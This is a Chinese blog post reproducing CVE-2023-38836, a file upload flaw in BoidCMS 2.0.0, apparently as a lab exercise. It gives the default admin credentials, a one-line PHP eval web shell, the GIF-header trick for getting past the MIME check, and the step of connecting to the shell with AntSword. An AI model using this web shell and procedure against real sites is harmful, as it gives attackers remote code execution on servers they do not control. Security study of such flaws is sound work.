BoidCMS文件上传漏洞（CVE-2023-38836）

最新推荐文章于 2024-09-26 20:52:03 发布
最新推荐文章于 2024-09-26 20:52:03 发布
阅读量235 收藏
点赞数 3
分类专栏： # 文件上传 文章标签： 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_23003811/article/details/140663680
版权

一、漏洞概述

BoidCMS v.2.0.0 存在文件上传漏洞，远程攻击者可通过添加 GIF 头部绕过 MIME 类型检查，执行任意代码。

二、影响范围

BoidCMS v.2.0.0

三、访问页面

四、漏洞复现

1、后台地址/admin

2、使用账号密码admin/password登录后台

3、找到文件上传点media

4、制作cmd.php文件

<?php @eval($_POST['cmd']);?>

5、上传cmd.php文件，抓包添加GIF头部绕过 MIME 类型检查。

6、访问cmd.php上传地址/media/cmd.php成功。

7、使用蚁剑等工具连接

风中追风-fzzf
关注
专栏目录
CVE-2023-38836（文件上传+命令执行）
Battery的博客
06-18 5万+
BoidCMS v.2.0.0 存在文件上传漏洞，远程攻击者可通过添加 GIF 头部绕过 MIME 类型检查，执行任意代码。
CVE-2023-6548 和 CVE-2023-65的Citrix Netscaler/ADC-13.0-92.21 最新补丁
01-19
针对CVE-2023-6548 和 CVE-2023-6549 的 NetScaler ADC 和 NetScaler Gateway 的漏洞补丁升级包 CVE-2023-6548 ：在管理接口上执行经过身份验证的（低特权）远程代码 CVE-2023-6549：拒绝服务 2、 强烈建议受影响...
CVE-2023-38836 BoidCMSv.2.0.0 后台文件上传漏洞
shelter1234567的博客
03-12 1357
BoidCMS是一个免费的开源平面文件 CMS，用于构建简单的网站和博客，使用 PHP 开发并使用 JSON 作为数据库。它的安装无需配置或安装任何关系数据库（如 MySQL）。您只需要一个支持PHP 的Web服务器。BoidCMS v.2.0.0 中攻击者可通过改变MIME 标头绕过上传限制从而执行任意代码。影响范围： BoidCMS
BoidCMS 文件上传漏洞（CVE-2023-38836）
zneVue
07-31 404
BoidCMS v.2.0.0 存在文件上传漏洞，远程攻击者可通过添加 GIF 头部绕过 MIME 类型检查，执行任意代码。
Web漏洞之——文件上传漏洞
weixin_64021878的博客
03-31 540
zzcms的文件上传漏洞，你可以利用这个漏洞，获取你想要的
春秋云境CVE-2023-38836
2303_76653367的博客
05-17 492
BoidCMS v.2.0.0 存在文件上传漏洞，远程攻击者可通过添加 GIF 头部绕过 MIME 类型检查，执行任意代码。
文件上传（服务端MIME检测绕过）
qq_46110224的博客
10-22 451
目录Content-Type检测二级目录三级目录 Content-Type检测 HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE，来识别文件类型，这个动作是由浏览器完成的，服务端可以检查此类型。不过这仍然是不安全的，因为HTTP header可以被发出者或者中间人任意的修改，不过加上一层防护也是可以有一定效果的。 绕过方法：使用burp代理，修改Content-Type的参数。 text/plain（纯文本） text/html（HTML文档） text/javascr
泛微 E-Office 任意文件上传漏洞 CVE-2023-2648（漏洞复现）
LHBD_R的博客
06-21 3036
漏洞介绍：泛微 E-Office 9.5版本中文件上传处理程序接口uploadify.php参数Filedata的操作导致任意文件上传，攻击者可以通过远程控制接口上传恶意文件
Openssh高危漏洞CVE-2023-38408修复方案
热门推荐
吴大锤的专栏
08-03 1万+
手动更新Openssh到最新 9.3.2版本
OpenSSH(CVE-2023-38408)一键升级修复-OpenSSH9.5p1
10-17
在2023年，OpenSSH发现了一个名为CVE-2023-38408的安全漏洞，这个漏洞可能允许攻击者在特定条件下绕过身份验证或执行未授权的操作，对系统安全构成威胁。为了保护您的系统不受此漏洞影响，及时升级到OpenSSH 9.5p1...
CVE-2023-21768 Windows AFD 本地提权漏洞 C 源码
08-23
CVE-2023-21768 Windows Ancillary Function Driver (AFD) afd.sys本地提权漏洞。 AFD （Ancillary Function Driver）是Windows操作系统中的一个内核模式驱动程序。 漏洞原理： 该漏洞存在于AFD驱动程序处理用户...
CVE-2024-1112 Resource Hacker 缓冲区溢出分析
信息安全
09-23 857
CVE-2024-1112 是 Resource Hacker 软件的一个缓冲区溢出漏洞。该漏洞存在于版本 3.6.0.92 中。由于软件在处理命令行中的文件路径时未对文件字符串长度进行限制，过长的字符串参数导致内存被过度写入，从而引发缓冲区溢出。
安卓开发中，可以反射去换肤，那么我们应该也可以使用反射去串改我们的程序，作为开发者，我们如何保证我们自己的应用的安全呢？
qq_43664361的博客
09-22 499
在安卓开发中，虽然反射提供了强大的动态操作能力，包括访问和修改类、接口、字段以及方法，但这也为潜在的恶意攻击者提供了篡改程序的可能性。作为开发者，我们需要采取一系列措施来确保自己应用的安全，防止反射被用于非法目的。
【中关村在线-注册/登录安全分析报告】
09-23 864
中关村在线(ZOL)创立于1999年，深耕科技垂直领域23年，致力于新消费势力生活科技商品第一导购平台 ，专业高质量内容的提供者。以用户第一为导向，帮用户买好产品，帮客户卖好产品为使命利用专业领先内容，帮助用户更好、更快的选购产品， 通过产品解析、产品点评、问答口碑、对接电商，简化路径、产品评测完善+ 种草导购推荐等环节，让用户全面了解每一款产品性能，帮助用户更精准、更快捷的选购科技产品。
如何检测出来这个ip是共享ip不安全
KookeeyLena8的博客
09-23 459
检测一个IP是否为共享IP以及其安全性可以通过以下几种方法和工具来进行分析。共享IP通常是指多个用户共享一个IP地址，常见于公共代理服务器、VPN服务或数据中心IP。如果你想评估一个IP是否为共享IP以及其安全性，以下方法和工具可以帮助你进行检测和分析。
网络编程（5）——模拟伪闭包实现连接的安全回收
最新发布
m0_63086198的博客
09-26 539
new_session通过bind绑定时，new_session的计数就会加一，所以在bind后，new_session的生命周期和新构造函数的生命周期相同，因为新生成的函数对象引用了new_session（new_session通过值传递的方式被复制构造函数使用）。，但是通过bind操作，将new_session作为数值传递给bind函数，而bind函数返回的函数对象内部引用了该new_session所以引用计数增加1，这样保证了new_session不会被释放。今天学习如何通过C11智能指针构造伪。
mysql安全漏洞CVE-2023-0215
07-29
很抱歉，但我无法回答关于"mysql安全漏洞CVE-2023-0215"的问题。因为在您提供的引用内容中，并没有提到与该漏洞相关的信息。如果您有其他关于该漏洞的引用内容或更多的背景信息，我将很乐意为您提供帮助。 #### 引用[.reference_title] - *1* *3* [CVE-2023-21839漏洞本地简单复现](https://blog.csdn.net/csdnmmd/article/details/129247272)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [CVE-2023-0215](https://blog.csdn.net/qq_39933800/article/details/131203431)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值